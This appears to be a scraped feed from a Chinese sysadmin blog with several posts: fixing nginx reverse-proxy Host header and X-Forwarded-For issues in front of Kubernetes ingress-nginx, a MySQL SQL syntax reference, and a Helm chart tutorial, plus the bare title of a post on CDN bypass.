而我反代返回的404页面则是这样的

一想就是我ingress返回的页面,但是我去查看ingress-nginx-controller的日志并无404的报错,日志查看命令如下,访问时并无产生记录

[root@kubernetes ~]# kubectl -n ingress-nginx logs -f  ingress-nginx-controller-kc5np

我这里去尝试修改宿主机的反代配置,配置如下

location /test/ {
       proxy_pass http://kubernetes.boychai.xyz/test/;
}

发现这样是可以正常访问程序的,这就奇怪了,难不成还能是因为我设置了这几个header的问题?我挨个注释这些header的配置发现问题出在下面这段配置

proxy_set_header Host $host;

具体原因也没搞清楚但是取消使用这条配置就好了...

原因

在Kubernetes的Ingress中,Host 头部用于根据不同的域名(或主机名)将请求路由到不同的服务。每个Ingress规则可以基于请求的 Host 头部将流量路由到不同的后端服务。我宿主机代理的域名和Ingress设置的域名不同,所以导致了这个问题,我外部代理的域名是tools.boychai.xyz而我k8s设置Ingress的域名则是kubernetes.boychai.xyz,当我在宿主机的代理设置了proxy_set_header Host $host;这段配置之后,请求发到Ingress之后,Ingress拿到的路由请求域名则是tools.boychai.xyz,而我又没有设置这个资源则就返回了404。

IP传递问题

日志

能够访问之后发现最终的应用拿不到真是访问的ip,这里通过nginx直接返回X-Forwarded-For头信息来查看问题出在什么位置,宿主机Nginx配置如下

location /aaa {
    default_type text/html;
    proxy_set_header X-Real-IP $remote_addr; 
    proxy_set_header REMOTE-HOST $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    return 200 "proxy_add_x_forwarded_for:$proxy_add_x_forwarded_for";
}
location /test/ {
       # ingress暴露的地址`http://kubernetes.boychai.xyz/test/`
       proxy_pass http://kubernetes.boychai.xyz/test/;
       proxy_set_header X-Real-IP $remote_addr; 
       proxy_set_header REMOTE-HOST $remote_addr;
       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

后端Nginx配置如下

location / {
    default_type text/html;
    return 200 "proxy_add_x_forwarded_for:$proxy_add_x_forwarded_for";
}

这样访问反代的/aaa就是访问反代主机的ip,访问反代的/test就会返回访问nginx的后端访问的ip,访问结果如下
访问/aaa返回

proxy_add_x_forwarded_for:111.180.204.54

访问/test返回

proxy_add_x_forwarded_for:192.16.1.1, 192.16.1.2

解决

查看访问返回的信息发现直接访问代理的ip是没问题的,那就是Ingress的锅了,这里的1.11.2依次是反代的ip和k8s主机的ip,到ingress这层没有把x_forwarded_for头加进来,这里我去官方翻了翻文档发现了三条和x_forwarded_for有关系的配置,如下

data:
  ...
  compute-full-forwarded-for: "true"
  # 这一条可以不加也需要知道
  # forwarded-for-header: "X-Forwarded-For"
  use-forwarded-headers: "true"

给ingress的cm加上这两条配置即可解决问题,最终/test返回的内容如下

proxy_add_x_forwarded_for:111.180.204.54, 192.16.1.1, 192.16.1.2

原因

Ingress默认是没有配置传递真实IP功能的,需要配置,这三条配置和官网文档如下:

  1. use-forwarded-headers
    文档位置: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#use-forwarded-headers
    如果为true,则ingress-nginx会将传入的x-forward-*传递到上游,如果是Ingress上层还有一层ingress则需要配置这一条。如果他直接暴露在公网中或者它基于L3的网络负载后门则不需要管,因为它默认就是false。
  2. forwarded-for-header
    文档位置: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#forwarded-for-header
    这个用来设置客户端来源的真实IP,默认就是X-Forwarded-For。这里不需要额外配置。
  3. compute-full-forwarded-for
    文档位置: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#compute-full-forwarded-for
    如果开启了use-forwarded-headers的话,会发现还是没能获取到客户端的真实IP,原因是当前X-Forwaded-Fox变量是从remote_addr获取的,每次都是拿上一层的代理ip,这段配置的作用是将客户端用户访问所经过的代理ip都追加到X-Forwaded-Fox.
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0 https://blog.boychai.xyz/index.php/archives/62/#comments https://blog.boychai.xyz/index.php/feed/
数据库通用语言-SQL https://blog.boychai.xyz/index.php/archives/61/ https://blog.boychai.xyz/index.php/archives/61/ Thu, 10 Aug 2023 05:36:00 +0000 BoyChai SQL分类
类别全称概述
DDLData Definition Language数据定义语言,用来定义数据库对象(数据库,表,字段)
DMLData Manipulation Language数据操作语言,用来对数据库表中的数据进行删增改查
DQLData Query Language数据查询语言,用来查询数据库中表的记录
DCLData Control Language数据控制语言,用来创建数据库用户,控制数据库的访问权限

DDL

数据库操作

查询

  • 查询所有数据库
SHOW DATABASES;
  • 查询当前数据库
SELECT  DATABASE();

创建

CREATE DATABASE [ IF NOT EXISTS ] 数据库名称 [ DEFAULT CHARSET 字符集 ] [ COLLATE 排序规则 ];

使用时可以在数据库名称前面加入"IF NOT EXISTS",意为当数据库不存在则创建否则不作为。

删除

DROP DATABASE [ IF EXISTS ] 数据库名称;

使用时可以在数据库名称前面加入"IF EXISTS",意为当数据库存在则删除否则不作为。

使用

USE 数据库名称;

表操作

ps:表操作需要使用数据库之后才能操作

查询

  • 查询当前数据库中所有的表

SHOW TABLES;

  • 查询表字段结构

DESC 表名称;

  • 查询指定表的建表语句

SHOW CREATE TABLE 表名;

创建

CREATE TABLE 表名(

​ 字段1 字段1数据类型 [ COMMENT 字段1注释 ],

​ 字段2 字段2数据类型 [ COMMENT 字段2注释 ],

​ 字段3 字段3数据类型 [ COMMENT 字段3注释 ]

​ ......

) [ COMMENT 表格注释 ];

修改

修改表名称

ALTER TEABLE 表名 RENAME TO 新表名;

删除

  • 删除表

DROP TABLE [ IF EXISTS ] 表名;

"IF EXISTS" 意为有则删除否则不作为

  • 删除指定表,并且重新创建该表(一般用于格式化)

TRUNCATE TABLE 表名;

字段操作

修改

  • 添加字段

ALTER TABLE 表名 ADD 字段名 类型(长度) [ COMMENT 注释 ] [约束];

  • 修改数据类型

ALTER TABLE 表名 MODIFY 字段名 新数据类型(长度);

  • 修改字段名和字段类型

ALTER TABLE 表名 CHANGE 旧字段名 新字段名 类型(长度) [ COMMENT 注释 ] [约束];

删除

ALTER TABLE 表名 DROP 字段名

数据类型

概述

MYSQL的数据类型主要分为三种:数值类型、字符串类型、日期时间类型。

数值类型

类型大小有符号范围(SIGNED)无符号范围(UNSIGNED)概述
TINYINT1 byte(-128,127)(0,255)小整数值
SMALLINT2 byte(-32768,32767)(0,65535)大整数值
MEDIUMINT3 byte(-8388608,8388607)(0,16777215)大整数值
INT或INTEGER4 byte(-8388608,8388607)(0,4294967295)大整数值
BIGINT8 byte(-2^63,2^63-1)(0,2^64-1)极大整数值
FLOAT4 byte(-3.402823466 E+38,3.402823466351 E+38)0 和 (1.175494351 E38,3.402823466 E+38)单精度浮点数值
DOUBLE8 byte(-1.7976931348623157E+308,1.7976931348623157E+308)0 和(2.2250738585072014E-308,1.7976931348623157E+308)双精度浮点数值
DECIMAL 依赖于M(精度)和D(标度)的值依赖于M(精度)和D(标度)的值小数值(精确定点数)

字符串类型

类型大小概述
CHAR0-255 bytes定长字符串(需要指定长度)
VARCHAR0-65535 bytes变长字符串(需要指定长度)
TINYBLOB0-255 bytes不超过255个字符的二进制数据
TINYTEXT0-255 bytes短文本字符串
BLOB0-65 535 bytes二进制形式的长文本数据
TEXT0-65 535 bytes长文本数据
MEDIUMBLOB0-16 777 215 bytes二进制形式的中等长度文本数据
MEDIUMTEXT0-16 777 215 bytes中等长度文本数据
LONGBLOB0-4 294 967 295 bytes二进制形式的极大文本数据
LONGTEXT0-4 294 967 295 bytes 极极大文本数据

日期类型

类型大小范围格式概述
DATE31000-01-01 至 9999-12-31YYYY-MM-DD日期值
TIME3-838:59:59 至 838:59:59HH:MM:SS时间值或持续时间
YEAR11901 至 2155YYYY年份值
DATETIME81000-01-01 00:00:00 至9999-12-31 23:59:59YYYY-MM-DDHH:MM:SS混合日期和时间值
TIMESTAMP41970-01-01 00:00:01 至2038-01-19 03:14:07YYYY-MM-DDHH:MM:SS混合日期和时间值,时间戳

DML

添加数据

  • 给指定字段添加数据

INSERT INTO 表名(字段1,字段2,......) VALUES (值1,值2,......);

  • 给全部字段添加数据

INSERT INTO 表名 VALUES (值1,值2,......);

  • 批量添加数据

INSERT INTO 表名(字段1,字段2,......) VALUES (值1,值2,......),(值1,值2,......),(值1,值2,......);

INSERT INTO 表名 VALUES (值1,值2,......),(值1,值2,......),(值1,值2,......);

修改数据

UPDATE 表名 SET 字段1=值1,字段2=值2,...... [ WHERE 条件 ]

删除数据

DELETE FROM 表名 [ WHERE 条件 ]

注意

修改删除数据的时候,如果不加where判断条件则调整的整张表的内容。

DQL

语法

SELECT

​ 字段列表

FROM

​ 表名列表

WHERE

​ 条件列表

GROUP BY

​ 分组字段列表

HAVING

​ 分组后条件列表

ORDER BY

​ 排序字段列表

LIMIT

​ 分页参数

基本查询

  • 查询多个字段

SELECT 字段1,字段2,.... FROM 表名;

SELECT * FRIN 表名;

  • 设置别名

SELECT 字段1 [ AS '别名' ],字段2 [ AS '别名2' ] FROM 表名;

输出的时候字段名称会 替换成别名,这段SQL中的AS可以不写,例如

SELECT 字段 '别名' FROM 表名;

  • 去除重复记录

SELECT distinct 字段列表 FROM 表名;

条件查询

语法

SELECT 字段列表 FROM 表名 WHERE 条件列表;

条件

比较运算符

运算符功能
>大于
\>=大于等于
<小于
<=小于等于
=等于
<> 或 !=不等于
BETWEEN ... AND ...在某个范围之内(含最小,最大值)
IN(...)在in之后的列表中的值,多选一
LIKE 占位符模糊匹配(_匹配单个字符,%匹配任意多个字符)
IS NULL是NULL

逻辑运算符

运算符功能
AND 或 &&并且(多个条件同时成立)
OR 或 \\ 或者(多个条件任意一个成立)
NOT 或 !非,不是

聚合函数

语法

SELECT 聚合函数(字段) FROM 表名;

函数

函数功能
count统计数量
max最大值
min最小值
avg平均值
sum求和

分组查询

语法

SELECT 字段列表 FROM 表名 [ WHERE 条件 ] GROUP BY 分组字段名 [ HAVING 分组后过滤条件 ]

排序查询

语法

SELECT 字段列表 FROM 表名 ORDER BY 字段1 排序方式1, 字段2,排序方式2

排序方式

ASC:升序(默认)

DESC:降序

分页查询

语法

SELECT 字段列表 FROM 表名 LIMIT 起始索引,查询记录数;

执行顺序

DQL的执行顺序为FROM 表 > WHERE 条件查询 > GROUP BY 分组查询 > SELECT 字段查询 > ORDER BY 排序查询 > LIMIT 分页查询

DCL

用户管理

  • 查询用户
USE mysql;
SELECT * FROM user;
  • 创建用户
CREATE USER `用户名`@`主机名` IDENTIFIED BY `密码`;
  • 修改用户密码
ALTER USER `用户名`@`主机名` IDENTIFIED WITH mysql_native_password BY `新密码`;
  • 删除用户
DROP USER `用户名`@`主机名`;

权限管理

权限

常用权限如下表

权限说明
ALL,ALL PRIVILEGES所有权限
SELECT数据查询
INSERT插入数据
UPDATE更新数据
DELETE删除数据
ALTER修改表
DROP删除数据库、表、试图
CREATE创建数据库、表

这是常用的 其他的可以去官网查看

管理

  • 查询权限
SHOW GRANTS FOR `用户名`@`主机名`;
  • 授予权限
GRANT 权限列表 ON 数据库名.表名 TO `用户名`@`主机名`;
  • 撤销权限
REVOKE 权限列表 ON 数据库名.表名 FROM `用户名`@`主机名`;
]]>
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CDN绕过思路 https://blog.boychai.xyz/index.php/archives/60/ https://blog.boychai.xyz/index.php/archives/60/ Mon, 07 Aug 2023 13:10:00 +0000 BoyChai 0 https://blog.boychai.xyz/index.php/archives/60/#comments https://blog.boychai.xyz/index.php/feed/ HELM-Kubernetes包管理工具(Chart包简单使用) https://blog.boychai.xyz/index.php/archives/57/ https://blog.boychai.xyz/index.php/archives/57/ Mon, 29 May 2023 04:34:00 +0000 BoyChai 目录结构

文档地址:https://helm.sh/zh/docs/topics/charts/

通过下面命令创建一个chart,指定chart名:mychart

[root@Kubernetes charts]# helm create mychart
Creating mychart
[root@Kubernetes charts]# tree mychart
mychart
├── charts
├── Chart.yaml
├── templates
│   ├── deployment.yaml
│   ├── _helpers.tpl
│   ├── hpa.yaml
│   ├── ingress.yaml
│   ├── NOTES.txt
│   ├── serviceaccount.yaml
│   ├── service.yaml
│   └── tests
│       └── test-connection.yaml
└── values.yaml

3 directories, 10 files
目录介绍
charts存放子chart的目录,目录里存放这个chart依赖的所有子chart
Chart.yaml保存chart的基本信息,包括名字、描述信息及版本等,这个变量文件都可以被template目录下文件所引用
templates模板文件目录,目录里面存放所有yaml模板文件,包含了所有部署应用的yaml文件
templates/deployment.yaml创建deployment对象的模板文件
templates/_helpers.tpl_放置模板助手的文件,可以在整个chart中重复使用,是放一些templates目录下这些yaml都有可能会用的一些模板
templates/hpa.yaml
templates/ingress.yaml
templates/NOTES.txt存放提示信息的文件,介绍chart帮助信息,helm install部署后展示给用户,如何使用chart等,是部署chart后给用户的提示信息
templates/serviceaccount.yaml
templates/service.yaml
templates/tests用于测试的文件,测试完部署完chart后,如web,做一个连接,看看是否部署成功
templates/tests/test-connection.yaml用于渲染模板的文件(变量文件,定义变量的值)定义templates目录下的yaml文件可能引用到的变量
values.yamlvalues.yaml用于存储templates目录中模板文件中用到变量的值,这些变量定义都是为了让templates目录下yaml引用

案例1

需求

编写一个chart,不引用内置对象的变量值(用HELM3发布创建一个ConfigMap,创建到K8s集群中,发布其他应用也一样,我们由浅入深进行学习)

创建实例

编写Chart:

[root@Kubernetes charts]# helm create myConfigMapChart
Creating myConfigMapChart
[root@Kubernetes charts]# cd myConfigMapChart/templates/
[root@Kubernetes templates]# rm -rf ./*
[root@Kubernetes templates]# vim configmap.yaml
# 文件内容如下
apiVersion: v1
kind: ConfigMap
metadata:
  name: my-cm-chart
data:
  myValue: "Hello,World"

创建release实例:

[root@Kubernetes charts]# ls
mychart  myConfigMapChart  
[root@Kubernetes charts]# helm install mycm ./myConfigMapChart/
NAME: mycm
LAST DEPLOYED: Thu May 11 00:26:16 2023
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None

查看release实例:

[root@Kubernetes charts]# helm list
NAME    NAMESPACE       REVISION        UPDATED                                 STATUS          CHART                   APP VERSION
mycm    default         1               2023-05-11 00:26:16.392817959 +0800 CST deployed        myConfigMapChart-0.1.0  1.16.0  

查看release的详细信息:

[root@Kubernetes charts]# helm get manifest mycm
---
# Source: myConfigMapChart/templates/configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: my-cm-chart
data:
  myValue: "Hello,World"

删除release实例:

[root@Kubernetes charts]# helm uninstall mycm
release "mycm" uninstalled
[root@Kubernetes charts]# helm list
NAME    NAMESPACE       REVISION        UPDATED STATUS  CHART   APP VERSION

案例2

需求

案例1只是简单的创建一个configmap实际和直接apply没啥区别,案例2将引入变量进行创建chart,把configmap的名称改为变量的方式进行创建。

创建实例

修改Chart:

[root@Kubernetes charts]# vim myConfigMapChart/templates/configmap.yaml 
[root@Kubernetes charts]# cat myConfigMapChart/templates/configmap.yaml 
apiVersion: v1
kind: ConfigMap
metadata:
  # name: my-cm-chart
  name: {{ .Release.Name }}-configmap
data:
  # myValue: "Hello,World"
  myValue: {{ .Values.MY_VALUE }}
[root@Kubernetes charts]# > myConfigMapChart/values.yaml
[root@Kubernetes charts]# vim myConfigMapChart/values.yaml 
[root@Kubernetes charts]# cat !$
cat myConfigMapChart/values.yaml
MY_VALUE: "Hello,World"

创建实例:

[root@Kubernetes charts]# helm install mycm2 ./myConfigMapChart/
NAME: mycm2
LAST DEPLOYED: Thu May 11 00:49:06 2023
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None

查看实例:

[root@Kubernetes charts]# helm list 
NAME    NAMESPACE       REVISION        UPDATED                                 STATUS          CHART                   APP VERSION
mycm2   default         1               2023-05-11 00:49:06.855993522 +0800 CST deployed        myConfigMapChart-0.1.0  1.16.0
[root@Kubernetes charts]# kubectl get cm
NAME               DATA   AGE
kube-root-ca.crt   1      77d
mycm2-configmap    1      87s

YAML解释:

apiVersion: v1
kind: ConfigMap
metadata:
  # name: my-cm-chart
  name: {{ .Release.Name }}-configmap
data:
  # myValue: "Hello,World"
  myValue: {{ .Values.MY_VALUE }}
  • {{ .Release.Name }}-configmap
    最前面的.从作用域最顶层命名空间开始,即:在顶层命名空间中开始寻找Release对象,再查找Name对象。这个就是通过内置对象获取内置对象的变量值(Release的名称)作为拼接成ConfigMap的名字。
  • {{ .Values.MY_VALUE }}
    这个是其他变量会去values.yaml文件中寻找对应的变量

引用内置对象或其他变量的好处:
如果metadata.name中色湖之的值就是一个固定值,这样的模板是无法在k8s中多次部署的,所以我们可以试着在每次安装chart时,都自动metadata.name的设置为release的名称,因为每次部署release的时候实例名称是不一样的,这样部署的时候里面的资源名也就可以作为一个分区,而可以进行重复部署。

测试渲染

HELM提供了一个用来渲染模板的命令,该命令可以将模板内容渲染出来,但是不会进行任何安装的操作。可以用该命令来测试模板渲染的内容是否正确。语法如下:

helm install [release实例名] chart目录 --debug --dry-run

例:

[root@Kubernetes charts]# helm install mycm3 ./myConfigMapChart/ --debug --dry-run
install.go:200: [debug] Original chart version: ""
install.go:217: [debug] CHART PATH: /root/charts/myConfigMapChart

NAME: mycm3
LAST DEPLOYED: Thu May 11 01:03:15 2023
NAMESPACE: default
STATUS: pending-install
REVISION: 1
TEST SUITE: None
USER-SUPPLIED VALUES:
{}

COMPUTED VALUES:
MY_VALUE: Hello,World

HOOKS:
MANIFEST:
---
# Source: myConfigMapChart/templates/configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  # name: my-cm-chart
  name: mycm3-configmap 
data:
  # myValue: "Hello,World"
  myValue: Hello,World
[root@Kubernetes charts]# helm list
NAME    NAMESPACE       REVISION        UPDATED                                 STATUS          CHART                   APP VERSION
]]>
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